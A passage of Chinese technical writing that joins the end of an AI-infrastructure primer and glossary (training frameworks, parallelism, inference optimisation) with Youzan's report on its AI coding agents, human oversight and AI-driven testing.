- Tensor(张量):带
shape/dtype/layout/device/stride的多维数组。 - Computational Graph(计算图):节点是算子,边是张量依赖关系。
- DAG(有向无环图):计算图通常是 DAG,保证依赖可拓扑排序。
动态图与静态图:
- Dynamic Graph(动态图):边执行边建图,调试灵活(如 PyTorch eager)。
- Static Graph(静态图):先建图再编译执行,优化空间大(如 XLA 图模式)。
现代方向:动静结合(开发用动态图,部署时图编译)。
4.2 Autograd(自动微分)到底在做什么
自动微分不是数值差分,也不是纯符号求导,它是“程序级链式法则”。
简化例子:
- 前向:
y = (w*x + b)^2 - 反向:框架自动记录依赖并计算
dy/dw = 2*(w*x+b)*xdy/db = 2*(w*x+b)
你只写 loss.backward(),框架完成拓扑回溯和梯度累加。
关键工程点:
- Activation Checkpointing(激活重计算):省显存,代价是额外计算。
- Mixed Precision(混合精度):常用 BF16/FP16 提升吞吐。
- Loss Scaling(损失缩放):防止低精度下梯度下溢。
4.3 分布式并行:LLM 训练为什么离不开它
单卡常见瓶颈:参数放不下、激活放不下、吞吐不够。
并行策略:
- DP(Data Parallel,数据并行):模型复制到多卡,数据切分。
- TP(Tensor Parallel,张量并行):单层矩阵按维度切到多卡。
- PP(Pipeline Parallel,流水线并行):按层切分到不同设备。
- FSDP/ZeRO(全分片数据并行):参数、梯度、优化器状态分片,显存友好。
类比:
- DP:每家分店做同一菜单,不同顾客。
- TP:一道超大菜由多位厨师同时做不同部分。
- PP:后厨分工流水线,A 备料,B 烹饪,C 装盘。
4.4 集合通信库 NCCL 的地位
- NCCL:NVIDIA 的 GPU 集合通信库。
- 对大规模训练而言,通信效率直接决定扩展效率。
- 优化目标是 Overlap(重叠):反向计算的同时进行梯度通信,减少空等。
5. AI 推理系统与引擎:走向生产的最后一公里
5.1 训练关注“学会”,推理关注“服务好”
训练目标:高吞吐 + 收敛精度。
推理目标:低延迟 + 高并发 + 低成本 + 稳定性。
5.2 推理引擎的核心职责
- 模型加载与图优化。
- 请求排队、动态批处理、并发调度。
- KV Cache 管理。
- kernel 选择与执行。
- 监控指标上报(TTFT、TPOT、P95/P99)。
5.3 Prefill 与 Decode 的优化重点不同
- Prefill:计算密集,重点看吞吐和 Tensor Core 利用率。
- Decode:访存+调度密集,重点看单步延迟和 cache 命中。
5.4 模型转换:训练框架与部署环境解耦
常见链路:
- 训练框架导出模型(如 ONNX 或引擎专有格式)。
- 引擎做图优化与算子替换。
- 构建硬件相关执行计划(engine build)。
- 发布到线上并灰度验证。
术语:
- ONNX(Open Neural Network Exchange):跨框架模型交换格式。
- Engine Build(引擎构建):针对目标硬件生成最优执行计划。
5.5 模型轻量化:量化、剪枝、蒸馏
- Quantization(量化):FP16/FP32 -> INT8/INT4,降低显存与带宽开销。
- Pruning(剪枝):删除低贡献连接/通道。
- Knowledge Distillation(知识蒸馏):大模型指导小模型学习。
生活化例子:
- 量化像把照片从 RAW 压成高质量 JPEG,体积显著变小,细节轻微损失。
- 剪枝像裁掉盆景无效枝杈,让营养集中到主干。
- 蒸馏像名师把重点题型浓缩成小册子给学生。
5.6 LLM 推理热点技术
- PagedAttention(分页注意力):把 KV Cache 分页管理,降低碎片。
- Continuous Batching(连续批处理):动态拼批,提升设备利用率。
- Prefix Cache(前缀缓存):复用共享前缀,避免重复 prefill。
- Speculative Decoding(投机解码):小模型草拟,大模型校验提速。
- CUDA Graph:复用固定执行图,降低 kernel launch 开销。
5.7 线上必须看的指标与告警
- 业务层:QPS、成功率、P95/P99 延迟。
- 模型层:TTFT、TPOT、tokens/s。
- 资源层:GPU 利用率、显存水位、KV 命中率。
- 稳定性:OOM 次数、重试率、超时率、节点漂移。
6. 端到端工程实战:一条训练与部署链路
下面是一条常见流程,适合作为团队实施模板。
- 训练侧
- 准备数据与特征。
- 选择并行策略(DP/TP/PP/FSDP)。
- 开启混合精度与梯度检查点。
- 监控 MFU、通信时间占比、loss 曲线。
- 导出与优化侧
- 固化模型版本与权重 checksum。
- 导出 ONNX 或目标引擎格式。
- 跑量化标定(PTQ)或量化感知训练(QAT)。
- 进行 engine build 与 benchmark。
- 推理侧
- 上线前压测:TTFT/TPOT/P99。
- 打开连续批处理与 KV 分页。
- 设置多级降级策略(限流、降精度、短路回复)。
- 灰度发布,监控回归。
- 回路闭环
- 采集线上 bad case。
- 进入下一轮训练与蒸馏。
- 通过 A/B Test 验证收益。
结语
从 model.forward(x) 到 GPU 上数十亿晶体管翻转,AI 系统是一套跨学科工程:
- 体系结构决定物理上限。
- 编译器决定代码能否逼近上限。
- 框架决定训练是否可扩展、可维护。
- 推理系统决定模型能否稳定创造业务价值。
真正稀缺的能力,不只是“会训练模型”,而是能把模型在真实生产中 稳定、低成本、高性能 地跑起来。
附录:AI 术语词典(按模块整理)
1 硬件与体系结构
| 术语 | 英文全称 | 一句话解释 |
|---|---|---|
| AI Infra | Artificial Intelligence Infrastructure | 支撑 AI 训练与推理的软硬件系统工程。 |
| CPU | Central Processing Unit | 通用处理器,强控制与通用计算。 |
| GPU | Graphics Processing Unit | 高并行吞吐处理器,擅长矩阵运算。 |
| ASIC | Application-Specific Integrated Circuit | 面向特定任务定制的专用芯片。 |
| TPU | Tensor Processing Unit | Google 的 AI 专用加速芯片。 |
| NPU | Neural Processing Unit | 面向神经网络运算的专用单元。 |
| Tensor Core | - | GPU 上用于矩阵乘加的专用计算单元。 |
| FLOPS | Floating Point Operations Per Second | 每秒浮点运算次数,常用算力指标。 |
| Bandwidth | - | 单位时间可传输的数据量。 |
| Roofline | - | 用算力上限和带宽上限分析性能边界的模型。 |
| SIMD | Single Instruction Multiple Data | 一条指令并行处理多个数据元素。 |
| SIMT | Single Instruction Multiple Threads | 同一程序由多个线程并发执行。 |
| Warp | - | GPU 调度的基本线程组。 |
| SM | Streaming Multiprocessor | GPU 的核心计算资源单元。 |
| HBM | High Bandwidth Memory | GPU 高带宽显存。 |
| SRAM | Static Random Access Memory | 片上低延迟存储,常用于缓存。 |
| PCIe | Peripheral Component Interconnect Express | 通用高速总线接口。 |
| NVLink | - | NVIDIA GPU 间高速互联。 |
| RDMA | Remote Direct Memory Access | 跨节点低开销远程内存访问技术。 |
2 编译与执行
| 术语 | 英文全称 | 一句话解释 |
|---|---|---|
| Compiler | - | 将模型计算转换为目标硬件可执行程序。 |
| IR | Intermediate Representation | 编译器内部的中间抽象表示。 |
| Frontend | - | 负责解析模型并做图级优化。 |
| Backend | - | 负责硬件相关调度与代码生成。 |
| Constant Folding | - | 编译期预计算常量表达式。 |
| DCE | Dead Code Elimination | 删除不影响结果的无效计算。 |
| Operator Fusion | - | 把多个算子融合为一个更高效算子。 |
| Codegen | Code Generation | 将 IR 翻译为目标代码。 |
| Tiling | - | 按块划分计算以提升局部性。 |
| Vectorization | - | 把标量操作改写为向量并行操作。 |
| Unrolling | Loop Unrolling | 展开循环减少跳转开销。 |
| Auto-Tuning | - | 自动搜索最佳 kernel 参数配置。 |
| CUDA | Compute Unified Device Architecture | NVIDIA 的 GPU 编程平台。 |
| Kernel | - | 在 GPU 上执行的函数。 |
| PTX | Parallel Thread Execution | NVIDIA 的中间指令表示。 |
| cuBLAS | CUDA Basic Linear Algebra Subprograms | 高性能线性代数库。 |
| cuDNN | CUDA Deep Neural Network library | 深度学习算子加速库。 |
3 框架与训练
| 术语 | 英文全称 | 一句话解释 |
|---|---|---|
| Tensor | - | 多维数组,AI 数据基本形态。 |
| Shape | - | 张量各维度大小。 |
| DType | Data Type | 张量元素精度类型。 |
| Stride | - | 张量在内存中的步长布局信息。 |
| Computational Graph | - | 表示计算依赖关系的图结构。 |
| DAG | Directed Acyclic Graph | 有向无环图,便于拓扑执行。 |
| Dynamic Graph | - | 运行时构图,调试灵活。 |
| Static Graph | - | 先构图再执行,优化空间更大。 |
| Autograd | Automatic Differentiation | 通过链式法则自动计算梯度。 |
| Forward | Forward Pass | 从输入到输出的正向计算。 |
| Backward | Backward Pass | 从损失反向传播梯度。 |
| Gradient | - | 参数对损失的导数信息。 |
| Optimizer | - | 根据梯度更新参数的算法。 |
| Mixed Precision | - | 用低精度计算提升吞吐、节省显存。 |
| Loss Scaling | - | 对 loss 放缩以避免低精度梯度下溢。 |
| DP/DDP | Data Parallel / Distributed Data Parallel | 多卡复制模型、切分数据并同步梯度。 |
| TP | Tensor Parallel | 将单层张量运算切分到多卡。 |
| PP | Pipeline Parallel | 将不同层分配到不同设备流水执行。 |
| FSDP | Fully Sharded Data Parallel | 参数与状态全分片的数据并行策略。 |
| ZeRO | Zero Redundancy Optimizer | 降低并行训练冗余内存占用的技术。 |
| NCCL | NVIDIA Collective Communications Library | GPU 高性能集合通信库。 |
| All-Reduce | - | 聚合并广播,常用于梯度同步。 |
| All-Gather | - | 汇聚各卡分片数据到每卡。 |
| Reduce-Scatter | - | 先归约再分发的通信原语。 |
4 推理与服务
| 术语 | 英文全称 | 一句话解释 |
|---|---|---|
| Inference | - | 使用训练好的模型进行预测/生成。 |
| Latency | - | 单次请求延迟。 |
| Throughput | - | 单位时间处理能力。 |
| QPS | Queries Per Second | 每秒请求数。 |
| TTFT | Time To First Token | 首 token 返回时间。 |
| TPOT | Time Per Output Token | 平均每个输出 token 的耗时。 |
| P95/P99 | - | 95/99 分位延迟,衡量长尾性能。 |
| ONNX | Open Neural Network Exchange | 跨框架模型表示与交换格式。 |
| TensorRT | - | NVIDIA 推理优化与执行引擎。 |
| vLLM | - | 面向 LLM 的高吞吐推理服务框架。 |
| ORT | ONNX Runtime | ONNX 模型运行时与优化执行引擎。 |
| Prefill | - | 处理输入上下文的首轮计算阶段。 |
| Decode | - | 逐 token 生成阶段。 |
| KV Cache | Key-Value Cache | 缓存历史注意力状态以复用计算。 |
| PagedAttention | - | 分页管理 KV Cache 的注意力实现。 |
| Continuous Batching | - | 动态接入请求并持续拼批执行。 |
| Prefix Cache | - | 复用公共提示词前缀的缓存机制。 |
| Speculative Decoding | - | 小模型草拟、大模型校验的加速解码。 |
| Quantization | - | 用低比特表示参数/激活以提速降耗。 |
| PTQ | Post-Training Quantization | 训练后量化,无需完整再训练。 |
| QAT | Quantization-Aware Training | 训练中模拟量化误差以保精度。 |
| INT8/INT4 | - | 8 位/4 位整型量化精度。 |
| Pruning | - | 删除冗余参数连接以压缩模型。 |
| Distillation | Knowledge Distillation | 大模型指导小模型训练。 |
| CUDA Graph | - | 录制并复用 GPU 执行图以降低启动开销。 |
来源:juejin.cn/post/7608759940800708658
有赞AI研发全流程落地实践
1. AI 时代的研发变革
1.1 AI编程的火爆
25年可以说是 AI 应用的元年,在编程领域从最基础的代码补全到辅助编程,到 AI 工程师,再到 AI 开发团队,各种概念层出不穷。
编程工具迭代涌现,从老牌的 Github Copilot 到爆火的 Cursor,再到 Claude Code,和最新出的 Codex。
对应的用户规模也爆发增长,Github Copilot 用户超过 2000 万,Cursor 用户超过 230 万,Claude Code 在短短 3 个月用户增长 10倍,Github Copilot 年度 ARR 超过 3 亿美元,而 Cursor 和 Claude Code 都超过了 5 亿美元。

随着编程工具的发展,编程门槛被大幅降低,氛围编程(Vide Coding)开始兴起,让更多非专业开发者专注创意和结果。
在有赞内部有产品同学开始用代码交付交互式的 PRD,在一些创新型项目中这会成为第一版代码。
1.2 AI对企业研发的变革

我们开始思考,AI 对企业研发意味着什么?
首先,传统软件研发生产要素,由人力、技术、信息组成,核心逻辑是多招人,就能多做项目,就有更多产出。 围绕人这个要素存在一系列问题:好人才难招、新人要培养、人才会流失、个体的动性、人的协作效率。
AI 时代人力开始向算力转移,增长逻辑编程多买显卡,获取更多算力,就能有更多产出。大部分体力工作向算力迁移,部分脑力工作可沉淀到算力中,算力能快速扩大。
最近看到一些新闻,硅谷的大厂一边裁员,一边争相购买显卡。
在这个过程中,人从直接产出转为对算力的设计与编排。

“让子弹飞”是一部经典的电影,这里引用其中一张截图,模糊度恰到好处。
远看是火车即将超越马,近看是马在拉着火车,这很有意思。和我们目前落地 AI 有点相似,“朋友圈”看起来各种炫酷,实际落地需要大批人马参与。
但这就意味着火车不如马吗?
显然不是,我们都知道最终火车一定会超越马,亦或,马拉火车的方式本身就错了。
1.3 有赞研发的AI+
出于对 AI 趋势的坚信,在有赞研发内部,我们有大量的 AI 探索与实践。
横跨研发的完整流程,包括需求、设计、编码、测试、上线的各个阶段。
所有这些实践可以,归纳为三类:AI Coding、AI Test、AI DevOps, 以及围绕 Agent 本身的研发与评测。

1.4 AI编程小案例
在 AI 探索的初期我们遇到了两个很有意思的小故事。
1.4.1 一位产品的氛围编程之路
第一个故事是,我们的一位产品同学用氛围编程做了一个简单的日常需求,他给了一个反馈:严重缺乏安全感。
我们深入了解后发现来源于三点:
- 心理不可接受:由于企业级工程规模大、系统复杂度高,系统/功能间依赖关系较深。非专业人员面对生产稳定性和大量线上用户压力时,心理负担急剧增加。本质是判断力缺失;
- 效率不可持续:判断力缺失也导致效率不可持续,导致需要频繁的和开发者沟通,氛围编程变成了 AI 和开发者之间的传声筒。编程的耗时被极大的转换成了沟通确认的耗时,最终效率不升反降;
- 质量不可信赖:虽然 AI 做对了效果,但是实现方案不合理,最后返工。现代企业级软件工程,除了完成需求外,还需考虑健壮性、可维护性、架构一致性等因素。AI 由于缺少上下文输入,这方面做得并不好;
1.4.2 一位开发带领的编程团队
第二个故事是,五月 Claude Code 发布后,我们看到一些开发者编程模式的变化,如图是一位同学的 Cli 工具:

左侧是 4 个 Agent 分别在完成一个项目的 4 子需求,右侧是他在验证和提交代码。
这种模式类似一位技术 Leader 带领一个小团队做项目,由 Leader 负责任务拆分、方案设计、过程把控和代码CR。
过去需要几个人的小组,现在一位开发者加上多个 AI Agent 就可以做到了。
这给了我们不少启发,我们开始思考如何把这种模式推广到更多项目中。
1.5 企业级软件工程四大特点
在经过了初步的观察和尝试后,我们总结了 AI Coding 落地需要解决的关键问题,归纳为四点:
- 大规模:这对 LLM 的多仓库理解、上下文窗口提出了要求;
- 高复杂:通常涉及多个业务系统、历史兼容等,需要解决 LLM 的注意力缺失问题、准召率低问题;
- 多协作:一个项目往往涉及多职能、多部门的协作,不同团队间对 AI 的理解和应用有深浅,如何协同?以及,人在哪些环节以怎样的力度监督 AI?需要合理地规划 AI 落地的节奏以及人机协作模式;
- 私有化:企业内部有大量分散在各处的信息,不透明、不标准,难以被 AI 检索,需要建设内部知识库、对接内部工具;

1.6 AI落地的三个阶段
明确关键问题后,我们将 AI 落地划分为了三个阶段:
- AI 增强阶段:人主导 AI 辅助,此阶段重点聚焦用 AI 做单点提效;
- AI 驱动阶段:AI 主导人监督,此阶段 AI 有能力接管单一研发环节;
- AI 自主阶段:AI 自主人少量介入;

对于不同的场景应该匹配适合的阶段,过度追求 AI 适得其反,我们踩过不少坑,AI 的落地无法一蹴而就,需要循序渐进。
目前我们的实践大量在 AI 增强阶段,有少量能到 AI 驱动阶段。
2. AI Coding:从个人助手到规模协同
2.2 设计路线
首先,是关于 AI Coding 的设计路线,我们有两个选择:以人为主 Agent 为辅、以 Agent 为主人监督。
我们观察了一些开发者的辅助编程模式,我们发现以人为主的模式存在一些问题:
- 协作还是以人为中心,相互沟通靠声音、工具调用靠手速,信息传递效率低;
- 个人经验内化不共享,Agent 配置没有复用,信息分布式存储;
- 另外,人的规模化需要时间;
因此,我们选择了第二条路线,其可以系统化解决以上三个问题,并且“天花板”更高。

2.3 构建框架
明确了设计路线后,让我们开始构建 Coding Agent,这个过程类似从 0 到 1 搭建一个开发团队:
- 它们都需要有好用的工具,无论是硬件、软件还是技术选型;
- 它们都由专业的个体组成;
- 并且这些个体能高效协同完成复杂的任务;

让我们先从设计一个专业的 Agent 开始!
2.4 设计演进
通用 AI Agent 和计算机很相似:
- 它们都有计算单元,一个是 CPU,一个是 LLM;
- 它们都有短期存储,一个是内存,一个是上下文;
- 它们都需要获取外部信息,一个通过网络,一个通过搜索工具;
- 它们也都可以多节点进行协同,完成复杂任务;

当我们把通用 AI Agent 细化到 Coding Agent,一些选型会更具体:
- LLM 需要选用垂直的编程 LLM;
- 上下文需要引入企业的开发规范/约束;
- 长期存储需要对接企业内部知识库;
- 搜索工具聚焦在代码仓库的搜索和理解;
- 工具需要对接企业内部的工具链和平台;
- 协同系统的拆分应该以企业内部的协作流程或领域分工来拆分;

2.4.1 选型与选择
在明确了核心模块后,需要先回答两个问题:方案的选型、自研的选择。
在 AI 时代行业解决方案百花齐放,无论是大模型还是配套的技术,且迭代速度极快,比如近期的Gemini3(11月18日)、Nano Banana Pro(11月20日)。
做的越多越容易陷入追赶的局面,最大程度的借助行业能力,并将其与企业内部资源串联是关键。
我们的核心策略是将通识的交给行业,集中资源做私有部分,通过行业迭代来提升底层能力。
2.4.2 Base Agent & System Prompt
明确策略之后,首先是基础模型的选择,在25年初时我们基本有共识,LLM 应该交给大厂,我们则专注于应用。
到了 5 月份我们发现 Agent 系统也有不错的行业实践,因此问题被延展成了选择基础模型还是选择基础 Agent? 也就是 Claude 还是 ClaudeCode?
围绕这个问题我们做了一些研究,发现 Claude Code 作为通用编程 Agent,在子 Agent 调度、MCP 集成、通用开发工具、上下文压缩方面已经做得不错了。
因此,我们选择了 Claude Code 作为基础 Agent 的底座,通过其强大的扩展能力,将其连接到我们内部的研发体系。
首先是系统提示词,这方面 Claude Code 已经做的不错了,我们仅做了少量扩展,总共不到 200 行,主要是一些内部的编程规范、特定约束。

2.4.3 Dev Tools
接着是工具,和人一样,Agent 也需要开发工具。比如,当开发者让其参考历史需求,它需要能访问需求管理平台查看。又比如,它可以通过飞书文档创建一篇技术方案给开发者审阅。
这些工具散落在内部的各个系统、平台,有些在外部,我们通过 MCP 将这些工具集成到一起,交由 Agent 决策使用。

2.4.4 Codebase Search
有了工具后,接着是代码理解能力,这也是 Coding Agent 的关键能力之一。
我们将其分为了三层:目标仓库定位、跨仓库依赖代码召回、工作区代码理解。目标仓库定位比较简单,我们用的是知识库 RAG 的方案。
在代码理解上,业内常见的方案有:向量索引检索(RAG)、抽象语法树(AST)、文本搜索(grep)、预生成文档(deepWiki),在实际应用中有不少组合的情况。
Cursor 选择的是 RAG 方案,好处是速度快,适合大的单体仓库,缺点是精度丢失(向量化),实时性不高。
Claude Code 则选择比较纯粹的文本搜索方案,和人很像,好处是精度高、实时性强,但性能会差一些。
在有赞对于跨仓库依赖代码,由于仓库数量庞大,采用的是 RAG 方案,同时更新频率没有 Cursor 这么高,我们基于 Git 的提交记录进行增了更新。对于工作区代码理解,由于基础 Agent 是 Claude Code,直接采用它的文本搜索。
另外,代码安全也十分重要,无论是发送给向量嵌入模型还是大模型的代码片段,都通过安全扫描进行脱敏。

2.4.5 Knowledge Base
有了代码,接着是内部知识,和开发者一样 Agent 需要理解业务知识,比如产品模块有哪些、业务术语是什么意思。也需要理解专业知识,比如技术选型用了什么、编程规范是怎样的,以及工程现状。
这些额外的上下文可以让 Agent 的编码更符合预期,避免写出“与众不同”的代码。
过往企业知识库建设有两大痛点,一是信息孤岛(无法统一检索/重复建设严重),二是内容老旧(因为缺少审核/运营机制,大量过期/错误内容)。
为此,我们内部成立了专门做知识工程的团队,由他们推动知识透明和更新。他们围绕知识增长、内容质量、知识使用进行建设,为上层应用提供高质量的知识。

至此,一个 MVP 版本的 Coding Agent 完成了。我们拿去做了一些需求,发现效果并不好,原因是还有大量经验在开发者的头脑中。
2.4.6 Long-term Memory
为此,我们会 Agent 打造了基于长期记忆的学习系统。简单来说,就是将开发者和 Agent 的监督对话提取为长期记忆,后续遇到类似场景时进行召回使用,这也可以实现跨会话的复用。
这就如同一个经验丰富的老员工手把手带教实习生,整个过程分为:
- 记忆提取,该阶段重点关注符合事实、保留细节、不归纳泛化。
- 记忆储存,我们采用自然语言+标签的形式储存而非结构化,并且保留了原文引用。
- 记忆合并,定期将类似记忆归纳合并。
- 记忆检索,业内根据场景不同常见的有:向量数据库、知识图谱、分层存储,我们采用的是向量数据库。
- 记忆遗忘,随着记忆数量的增加,根据时间和使用频次进行遗忘。对于高频使用的记忆经过泛化后转化为知识。
虽然设定了很多提取规则和后处理,但在实际应用中,通过人工标注及修正的方式,可以较快加速记忆的可用性。
我们在 AI Coding 做了测试,同类任务未接入记忆需要 5-10 轮对话修正,接入记忆后仅需 1-3 轮,有较大提升。

2.4.7 Cloud Sandbox
Agent 构建完成后,无论是运行、调用工具、拉取代码等等,都需要一个环境,如同为开发者配置一台电脑一样。
通过对本地辅助编程的观察,我们发现本地运行存在一些问题:复杂环境导致额外上下文、工程化适配问题、安全与监管难解决。
因此,我们选择了云端部署的方案,为每个 Agent 的每次会话分配了独立且标准化的沙箱(Sandbox),其中包含了开发环境,以实现交付结果预览。
同时对会话及沙箱做了无状态化,实现水平扩容能力。我们将会话存储在共享存储中,当开发者开启或继续一个会话时,会动态分配随机沙箱,并从共享存储中恢复会话。
这一切都需要通过统一网关,以解决安全和监管问题。

2.4.8 Multi Agents System
随着接入环节的增加,我们发现单一 Agent 面对个多环节,由于 LLM 上下文长度导致了遗忘、性能等问题。
为此,我们引入了多 Agent 系统,将这些复杂度分而治之。
- 在 Agent 的编排上有 Workflow 和 Agentic 两种方式。由于企业级工程对稳定性、观测性的要求较高,我们采用 Workflow 串联多个 Agent。在部分 Agent 内部通过 ReAct 模式发挥 LLM 的自规划能力。
- 在 Agent 的拆分上有流程拆分和领域拆分两种方式。我们都做了尝试,从落地情况看按流程拆分基本可以解决大部分问题。
同时,我们为每个 Agent 做了差异化的基模选择,主要根据 Agent 的任务特点、LLM 的优劣势以及成本。
- 需求解析和仓库定位较简单用 GTP-4o;
- 代码定位用向量嵌入模型 voyage-code-3 并配合 deepseek-v3 做一些后处理;
- 方案和编码则用 Claude-sonnet-4.5,其中记忆用 GTP-5 效果出色;
- 代码审查则用 Gemini 2.5 它的上下文窗口较大,可以把更多代码片段给到 LLM;

2.4.9 人工监督(HITL)
整个 Agent 系统的运行离不开人工监督(Human in the loop),我们面向开发者、管理者分别设计了两套监督系统。
- 面向开发者的监督系统主要基于飞书 IM,它是一个天然的对话流,同时结合飞书文档、GitLab。开发者可以在 Agent 的每个阶段对产物进行审核,包括:需求清单、技术方案、改动代码、实际效果等,并通过多轮对话进行修正;
- 面向控制者的监督系统主要基于多维表格及其仪表盘,管理者对每个需求的情况一目了然,包括:交付率、对话轮次、Token 消耗、对话明细等;
其中,对话明细可以转化为评测集,用于后续 Agent 的评测。

2.4.10 对接发布系统
最后,我们通过部署发布 Agent,打通了发布系统。如图所示,通过对话就可以很方便的部署到预发,或发布至生产:

2.5 产品形态
这就是我们最终的产品形态,已经交付了不少需求。当然实际落地中,这种人机交互模式也有局限性,因此我们正在开发 Web 端,类似 manus 的效果。

2.6 需求选择与落地
在 AI Coding 落地的需求选择上,我们分了三个维度:多职能、多仓库、需求规模,和新人一样在 Agent 能力还不够时,先从单职能单仓库的日常需求开始。通过做小需求验证 Agent 并积累数据,同时小需求因优先级不高而积累,用 AI 来做具有提效价值。
在我们将 AI Coding 推广到兄弟团队时,发现大家对 AI 期望很高,大家会给它做非常有挑战的需求,我们需要理解** AI 不是万能的,人做不了的它也是**。
目前我们的 AI Coding 已经可以实现单职能多仓库的日常需求,已交付近百个需求。综合提效 30%,包括人工监督的耗时,单个需求 Token 费用不到 100 人民币。
接下来我们会重点向多职能多仓库、项目级需求两个方向迭代。

2.7 实践案例
2.7.1 翻译型事务
在落地过程中,我们也发现了一些特别适合 AI 做的共性需求。
第一类我们称之为:翻译型任务。 已经有明确方案且较为简单的任务,AI 可以快速完成,且质量还不错。比如:技术债务治理。
有一个基础库升级的案例,涉及基础库、业务库和23个业务应用的升级,原本需要超过50人日,通过 AI 几十分钟就好了。
2.7.2 降低开发门槛
第二类是跨域编程,我们工作中经常会需要跨团队、跨领域支援,过往人的学习和熟悉过程会有额外的时间。通过 AI Coding 我们的开发者进行了不少的跨域编程,这部分时间几乎被抹平。
2.7.3 小插曲:移动编程
另外有个比较有意思的小插曲分享一下:
相信程序员都有共鸣,随身携带电脑是大家的痛点之一。在我们落地 AI Coding 的过程中发生了另外一个小案例,有个开发同学出去聚餐没带电脑,这时候来了个 Bug:
- 他掏出手机打开飞书用聊天唤起了一个 Agent
- 把 Jira 和说明丢过去
- 让 Agent 先改着,就先吃饭了
- 过了几分钟 Agent 改完了
- 他看了没问题就让 Agent 发布了
这虽然只是很小很小很小的案例,但确实让我们看到了 AI 正在慢慢改变我们的编程方式。
2.8 完整架构
以上,就是我们在 AI Coding 方面的实践:
- 首先,我们做了好用的工具,也就是云端 Sandbox;
- 其次,基于上下文工程,我们打造了专业的 Agent 个体;
- 最后,通过 MAS 让他们协同工作;
- 另外我们也做了人机交互界面,让人可以监督 Agent;

3. AI Test:从自动化到智能化
3.1 传统测试的局限
在开始之前,先简单回顾下传统测试的挑战:技术栈多样化、设备终端碎片化、工程规模增大,因此对测试效率提出了要求。
自动化测试被引入,提升了一些效率,但有一些局限:编写有门槛、维护成本高、难扩展复用、失败排查困难。

3.2 AI时代的新挑战
在 AI 时代,随着编码效率提升,对测试效率提出了更高的要求。同时由于 AI 生成代码不确定,影响面和风险更大,对测试带来了新挑战。
同样 AI 也对测试带来了新的可能:
- 在测试设计阶段,能做 AI 用例生成、AI 用例优化、AI 用例选择(精准测试)等;
- 在测试执行阶段,能做 AI 数据构造、AI 驱动执行、AI 增强录制、AI 无参考测试等;
- 在评估优化阶段,能做 AI 失败归因、AI 用例修复、AI 分析报告等;
我们在这方面踩了不少坑,也有些在部分场景落地了。

3.3 AI用例标准化
首先是,AI 用例标准化,在我们开始结合 AI 和测试时,碰到的第一个问题就是:用例。
过往历史用例缺乏维护,质量参差不齐,如左图各种隐式步骤、断言缺失。另外用例还分散在各个平台,比如文本和自动化用例互不相通。
这就导致了GIGO(Garbage in, Garbage out)的现象,你给 LLM 的输入质量低,它的输出质量也低,幻觉严重。

于是,我们开始思考如何解决用例的问题,我们发现 LLM 本身有强大的自然语言理解能力。这让传统文本用例和自动化用例的融合成为可能,也就是自然语言用例,让用例兼具语意性和可执行性。
我们探索了两个方向:AI 存量用例优化、AI 增量用例生成。
首先是存量用例优化,根据已有的测试目标和测试步骤由 LLM 生成更规范的用例名、标签等,同时逐步优化用例步骤、补充断言。
其次对于增量的用例,我们结合业务知识库,并参考现有用例进行生成。
所有的这些自然语言用例放在一起,它们本身就是一个高质量的测试知识库。

一个新的用例生成过程分为三步:
- 填写基本信息:测试目标、开启 AI 规划;
- 选择参考用例:从历史用例库选择供 LLM 参考;
- 用例生成:LLM 会生成用例的基础信息,以及完整的测试步骤,这里的步骤是自然语言,一目了然,且可被执行;
目前,用例生成的准确度和覆盖场景还有很大空间,仍处于探索阶段。

3.4 AI增强录制
我们还有不少用例是录制的,因此我们做了 AI 增强录制。
首先先简单回顾下传统录制的局限:定位不精确、录制步骤冗余、需要人工校准、维护成本高。如下图:

通过 AI 增强后,测试步骤可以精确识别用户的意图:输入价格1、输入划线价2,且较为精炼:

整个增强过程大致分为几步:
- DOM+截图输入:首先是捕捉用户的操作,将完整 DOM 和截图丢给多模态 LLM,目前通用多模态 LLM 已经比较强大了,我们第一版就能做到 70% 准确率。即使不提供 DOM,LLM 也可仅依赖截图识别,从而支持跨平台录制。但这个方案的 Token 消耗是巨大的,且上下文太长会带来一些幻觉导致不稳定;

- DOM 预处理:通过对 DOM 进行裁切,降低噪音和 Token 消耗,同时标注重要内容提升大模型注意力。另外一些敏感的信息和代码也会被过滤。做完这些后我们的上下文能裁切大约 99%;

- 交互区域标注:接着我们把 70% 准确率进一步提升,遇到了一些问题。在用户操作无交互表现的情况下,LLM 无法很好的理解,如左图,这里点击“…”没有交互状态变化,LLM 只理解到“点击空白区域”。我们通过增加交互区域标注来解决,这让 LLM 可以准确理解用户交互的区域,效果如右图,LLM 可以理解到“点击更多按钮”;

- 父级元素标注:虽然增加了交互标注,但在一些复杂业务,元素之间是有关联的。如左图,“?”的图标,LLM 可以理解到是“帮助”,但它并不理解是“退款资金状态的帮助”,如果一个页面中有多个类似图标就不准确了。为此,我们增加了父级元素标注,把交互区域前后的父级 DOM 元素一起给到 LLM,让其理解更多上下文关系。如右图,增加后 LLM 可以理解到“点击退款资金状态的帮助”;

做完这些后,我们的准确率可以做到 89%,单次增强的耗时在 5-10 秒之间,这得益于模型能力的提升,从 Qwen2.5-VL 的 20 秒到 GTP-4o 的 10 秒以内。
目前这套方案是跨全平台的,包括Web、Pad、桌面等设备,Android、iOS、鸿蒙等系统,以及各类小程序。

3.5 AI用例执行
有了用例之后,接下来是用例的执行。目前我们的用例执行都会统一注册到任务中心,由其下发到两大集群,分别执行浏览器任务、App任务(包括小程序)。
AI 在执行方面有天然的优势,跨平台支持,具备一定自适应能力,比如一些设备有像素抖动的情况,LLM 可以识别提升用例稳定性。
目前我们的用例执行量超过每天 10 万次,任务成功率 96%。

当然,这个过程中也遇到了一些问题:模型执行速度慢、模型幻觉问题、模型识别精度问题。
- 解决“模型执行速度慢”:我们先做了基于图像和 Prompt 的识别缓存。但未命中缓存时 AI 指令的秒级,和程序指令的百毫秒级差距依旧很大。因此我们做了 AI 提速,用例解析后首先程序执行,失败时 AI 兜底执行,执行成功后由 AI 进行自愈,提取成功的信息更新程序脚本;
- 解决“模型幻觉问题”:幻觉问题不是太大,通过 LLM 二次优化步骤 Prompt,同时采用更准确的 AI 指令(如 Midscene 中用 AI Input 替代 AI Action)基本可以解决;
- 解决“模型识别精确问题”:看下图中右上角的图,红框是 Qwen-vl-max,绿框是UI-TARS-1.5,它们对于小元素的识别精度差异很大。从我们时间来看 Qwen-vl-max 对小图标识别能力较差,开启 deepThink 有所改善。UI-TARS-1.5 具备较强的探索能力,它们在断言方面都不如 GTP-4o。我们也从元素定位、元素断言、内容提取、任务规划方面,测试了 5 个主流端,UI-TARS-1.5 在元素定位精度和移动端表现较好,也是我们目前的选型;

